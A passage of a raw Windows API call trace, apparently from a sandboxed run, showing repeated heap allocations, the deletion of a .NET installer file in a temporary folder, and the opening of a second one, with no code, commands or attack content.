returned 0x9b0 [0113.105] GetLastError () returned 0x0 [0113.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.105] GetCurrentThreadId () returned 0x9b0 [0113.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de578 [0113.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0113.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.105] GetLastError () returned 0x0 [0113.106] GetLastError () returned 0x0 [0113.106] GetLastError () returned 0x0 [0113.106] GetLastError () returned 0x0 [0113.106] GetCurrentThreadId () returned 0x9b0 [0113.106] GetLastError () returned 0x0 [0113.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.106] GetLastError () returned 0x0 [0113.107] GetLastError () returned 0x0 [0113.108] GetCurrentThreadId () returned 0x9b0 [0113.108] GetLastError () returned 0x0 [0113.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.108] GetLastError () returned 0x0 [0113.109] GetLastError () returned 0x0 [0113.109] GetCurrentThreadId () returned 0x9b0 [0113.109] GetLastError () returned 0x0 [0113.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de608 [0113.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0113.110] GetCurrentThreadId () returned 0x9b0 [0113.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.110] GetLastError () returned 0x0 [0113.110] GetLastError () returned 0x0 [0113.110] GetLastError () returned 0x0 [0113.110] GetLastError () returned 0x0 [0113.111] GetCurrentThreadId () returned 0x9b0 [0113.111] GetLastError () returned 0x0 [0113.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.111] GetLastError () returned 0x0 [0113.112] GetLastError () returned 0x0 [0113.112] GetCurrentThreadId () returned 0x9b0 [0113.112] GetLastError () returned 0x0 [0113.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.113] GetLastError () returned 0x0 [0113.114] GetLastError () returned 0x0 [0113.114] GetCurrentThreadId () returned 0x9b0 [0113.115] GetLastError () returned 0x0 [0113.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.115] GetCurrentThreadId () returned 0x9b0 [0113.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.115] GetLastError () returned 0x0 [0113.115] GetLastError () returned 0x0 [0113.115] GetLastError () returned 0x0 [0113.116] GetLastError () returned 0x0 [0113.116] GetCurrentThreadId () returned 0x9b0 [0113.116] GetLastError () returned 0x0 [0113.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.116] GetLastError () returned 0x0 [0113.118] GetLastError () returned 0x0 [0113.118] GetCurrentThreadId () returned 0x9b0 [0113.118] GetLastError () returned 0x0 [0113.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.118] GetLastError () returned 0x0 [0113.119] GetLastError () returned 0x0 [0113.120] GetCurrentThreadId () returned 0x9b0 [0113.120] GetLastError () returned 0x0 [0113.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0113.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.120] GetCurrentThreadId () returned 0x9b0 [0113.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.120] GetLastError () returned 0x0 [0113.120] GetLastError () returned 0x0 [0113.121] GetLastError () returned 0x0 [0113.121] GetLastError () returned 0x0 [0113.121] GetCurrentThreadId () returned 0x9b0 [0113.121] GetLastError () returned 0x0 [0113.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0113.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0113.121] GetLastError () returned 0x0 [0113.122] GetLastError () returned 0x0 [0113.122] GetCurrentThreadId () returned 0x9b0 [0113.123] GetLastError () returned 0x0 [0113.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.123] GetLastError () returned 0x0 [0113.123] GetLastError () returned 0x0 [0113.123] GetCurrentThreadId () returned 0x9b0 [0113.123] GetLastError () returned 0x0 [0113.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.124] GetCurrentThreadId () returned 0x9b0 [0113.124] GetLastError () returned 0x0 [0113.124] GetLastError () returned 0x0 [0113.124] GetLastError () returned 0x0 [0113.124] GetLastError () returned 0x0 [0113.124] GetCurrentThreadId () returned 0x9b0 [0113.124] GetLastError () returned 0x0 [0113.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.125] GetLastError () returned 0x0 [0113.126] GetLastError () returned 0x0 [0113.126] GetCurrentThreadId () returned 0x9b0 [0113.126] GetLastError () returned 0x0 [0113.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.126] GetLastError () returned 0x0 [0113.128] GetLastError () returned 0x0 [0113.128] GetCurrentThreadId () returned 0x9b0 [0113.128] GetLastError () returned 0x0 [0113.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0113.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.129] GetCurrentThreadId () returned 0x9b0 [0113.129] GetLastError () returned 0x0 [0113.129] GetLastError () returned 0x0 [0113.129] GetLastError () returned 0x0 [0113.129] GetLastError () returned 0x0 [0113.129] GetCurrentThreadId () returned 0x9b0 [0113.130] GetLastError () returned 0x0 [0113.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0113.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.130] GetLastError () returned 0x0 [0113.131] GetLastError () returned 0x0 [0113.131] GetCurrentThreadId () returned 0x9b0 [0113.131] GetLastError () returned 0x0 [0113.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.132] GetLastError () returned 0x0 [0113.132] GetLastError () returned 0x0 [0113.132] GetCurrentThreadId () returned 0x9b0 [0113.132] GetLastError () returned 0x0 [0113.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0113.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.132] GetCurrentThreadId () returned 0x9b0 [0113.133] GetLastError () returned 0x0 [0113.133] GetLastError () returned 0x0 [0113.133] GetLastError () returned 0x0 [0113.133] GetLastError () returned 0x0 [0113.133] GetCurrentThreadId () returned 0x9b0 [0113.133] GetLastError () returned 0x0 [0113.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.134] GetLastError () returned 0x0 [0113.136] GetLastError () returned 0x0 [0113.136] GetCurrentThreadId () returned 0x9b0 [0113.136] GetLastError () returned 0x0 [0113.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.136] GetLastError () returned 0x0 [0113.137] GetLastError () returned 0x0 [0113.137] GetCurrentThreadId () returned 0x9b0 [0113.138] GetLastError () returned 0x0 [0113.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de608 [0113.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.138] GetLastError () returned 0x0 [0113.138] GetLastError () returned 0x0 [0113.138] GetLastError () returned 0x0 [0113.139] GetLastError () returned 0x0 [0113.139] GetLastError () returned 0x0 [0113.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0113.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.139] GetLastError () returned 0x0 [0113.140] GetLastError () returned 0x0 [0113.140] GetLastError () returned 0x0 [0113.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.141] GetLastError () returned 0x0 [0113.141] GetLastError () returned 0x0 [0113.141] GetLastError () returned 0x0 [0113.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0113.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.142] GetLastError () returned 0x0 [0113.142] GetLastError () returned 0x0 [0113.142] GetLastError () returned 0x0 [0113.142] GetLastError () returned 0x0 [0113.142] GetLastError () returned 0x0 [0113.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.142] GetLastError () returned 0x0 [0113.144] GetLastError () returned 0x0 [0113.144] GetLastError () returned 0x0 [0113.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.144] GetLastError () returned 0x0 [0113.146] GetLastError () returned 0x0 [0113.146] GetLastError () returned 0x0 [0113.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0113.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.146] GetLastError () returned 0x0 [0113.147] GetLastError () returned 0x0 [0113.147] GetLastError () returned 0x0 [0113.147] GetLastError () returned 0x0 [0113.147] GetLastError () returned 0x0 [0113.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.147] GetLastError () returned 0x0 [0113.148] GetLastError () returned 0x0 [0113.149] GetLastError () returned 0x0 [0113.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.149] GetLastError () returned 0x0 [0113.149] GetLastError () returned 0x0 [0113.149] GetLastError () returned 0x0 [0113.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de578 [0113.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0113.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.150] GetLastError () returned 0x0 [0113.150] GetLastError () returned 0x0 [0113.150] GetLastError () returned 0x0 [0113.150] GetLastError () returned 0x0 [0113.150] GetLastError () returned 0x0 [0113.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.151] GetLastError () returned 0x0 [0113.152] GetLastError () returned 0x0 [0113.152] GetLastError () returned 0x0 [0113.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.153] GetLastError () returned 0x0 [0113.154] GetLastError () returned 0x0 [0113.154] GetLastError () returned 0x0 [0113.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de608 [0113.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0113.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.154] GetLastError () returned 0x0 [0113.155] GetLastError () returned 0x0 [0113.155] GetLastError () returned 0x0 [0113.155] GetLastError () returned 0x0 [0113.155] GetLastError () returned 0x0 [0113.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.155] GetLastError () returned 0x0 [0113.157] GetLastError () returned 0x0 [0113.157] GetLastError () returned 0x0 [0113.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.157] GetLastError () returned 0x0 [0113.157] GetLastError () returned 0x0 [0113.157] GetLastError () returned 0x0 [0113.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.158] GetLastError () returned 0x0 [0113.158] GetLastError () returned 0x0 [0113.158] GetLastError () returned 0x0 [0113.158] GetLastError () returned 0x0 [0113.158] GetLastError () returned 0x0 [0113.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0113.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0113.159] GetLastError () returned 0x0 [0113.160] GetLastError () returned 0x0 [0113.160] GetLastError () returned 0x0 [0113.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.160] GetLastError () returned 0x0 [0113.162] GetLastError () returned 0x0 [0113.162] GetLastError () returned 0x0 [0113.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0113.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.162] GetLastError () returned 0x0 [0113.163] GetLastError () returned 0x0 [0113.163] GetLastError () returned 0x0 [0113.163] GetLastError () returned 0x0 [0113.163] GetLastError () returned 0x0 [0113.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.163] GetLastError () returned 0x0 [0113.164] GetLastError () returned 0x0 [0113.165] GetLastError () returned 0x0 [0113.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.165] GetLastError () returned 0x0 [0113.173] GetLastError () returned 0x0 [0113.173] GetLastError () returned 0x0 [0113.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0113.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.173] GetLastError () returned 0x0 [0113.174] GetLastError () returned 0x0 [0113.174] GetLastError () returned 0x0 [0113.174] GetLastError () returned 0x0 [0113.174] GetLastError () returned 0x0 [0113.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0113.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.174] GetLastError () returned 0x0 [0113.179] GetLastError () returned 0x0 [0113.179] GetLastError () returned 0x0 [0113.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.179] GetLastError () returned 0x0 [0113.180] GetLastError () returned 0x0 [0113.180] GetLastError () returned 0x0 [0113.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.181] GetLastError () returned 0x0 [0113.181] GetLastError () returned 0x0 [0113.181] GetLastError () returned 0x0 [0113.181] GetLastError () returned 0x0 [0113.181] GetLastError () returned 0x0 [0113.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0113.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x215) returned 0x36f8548 [0113.203] CloseHandle (hObject=0x3ac) returned 1 [0113.203] CloseHandle (hObject=0x39c) returned 1 [0113.204] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 1 [0113.211] GetLastError () returned 0x0 [0113.211] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x9bada4*="netfx_Core_x86.msi") returned 0x28 [0113.211] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000)) returned 1 [0113.211] GetLastError () returned 0x0 [0113.211] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cb4 | out: pbBuffer=0x3662cb4) returned 1 [0113.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0113.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.212] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.212] GetFileType (hFile=0x39c) returned 0x1 [0113.212] GetFileType (hFile=0x39c) returned 0x1 [0113.212] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.212] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.212] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.212] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.212] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.213] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.213] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.213] GetLastError () returned 0x0 [0113.213] GetCurrentThreadId () returned 0x9b0 [0113.213] GetLastError () returned 0x0 [0113.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.213] GetLastError () returned 0x0 [0113.213] GetLastError () returned 0x0 [0113.213] GetLastError () returned 0x0 [0113.213] GetLastError () returned 0x0 [0113.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 